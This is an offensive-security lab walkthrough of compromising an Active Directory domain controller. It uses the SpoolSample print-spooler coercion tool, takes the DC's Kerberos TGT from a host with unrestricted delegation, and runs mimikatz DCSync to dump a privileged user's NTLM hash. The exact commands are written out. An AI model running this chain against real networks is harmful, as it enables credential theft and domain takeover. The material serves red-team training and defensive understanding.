Domain Compromise via DC Print Server and Kerberos Delegation

This lab demonstrates an attack on Active Directory Domain Controller (or any other host to be fair) that involves the following steps and environmental conditions:

• Attacker has to compromise a system that has an unrestricted kerberos delegation enabled.

• Attacker finds a victim that runs a print server. In this lab this happened to be a Domain Controller.

• Attacker coerces the DC to attempt authenticating to the attacker controlled host which has unrestricted kerberos delegation enabled.

  • This is done via RPC API RpcRemoteFindFirstPrinterChangeNotificationEx that allows print clients to subscribe to notifications of changes on the print server.

  • Once the API is called, the DC attempts to authenticate to the compromised host by revealing its TGT to the attacker controlled compromised system.

• Attacker extracts DC01's TGT from the compromised system and impersonates the DC to carry a DCSync attack and dump domain member hashes.

This lab builds on Domain Compromise via Unrestricted Kerberos Delegation

Execution

Our environment for this lab is:

• ws01 - attacker compromised host with kerberos delegation enabled (attacker, server)

• dc01 - domain controller running a print service (victim, target)

We can check if a spool service is running on a remote host like so:

ls \\dc01\pipe\spoolss

If the spoolss was not running, we would receive an error.

Another way to check if the spoolss is running on a remote machine is:

Now, after compiling the amazing PoC SpoolSample by @tifkin_, we execute it with two arguments target and server (DC with spoolss running on it):

.\SpoolSample.exe dc01 ws01

We are shown a message that the target attemped authenticating to our compromised system, so let's check if we can retrieve DC01 TGT:

mimikatz # sekurlsa::tickets

We indeed got a TGT for DC01$ computer!

With this, we can make our compromised system ws01$ appear like a Domain Controller and extract an NTLM hash for the user offense\spotless which we know has high privileges in the domain:

mimikatz # lsadump::dcsync /domain:offense.local /user:spotless

The above clearly shows the attack was successful and an NTLM hash for the user spotless got retrieved - get cracking or passing it now.

Mitigation

For mitigations, see Domain Compromise via Unrestricted Kerberos Delegation mitigations section.

References

GitHub - leechristensen/SpoolSample: PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well.GitHub

Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory ForestActive Directory & Azure AD/Entra ID Security

Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSyncActive Directory & Azure AD/Entra ID Security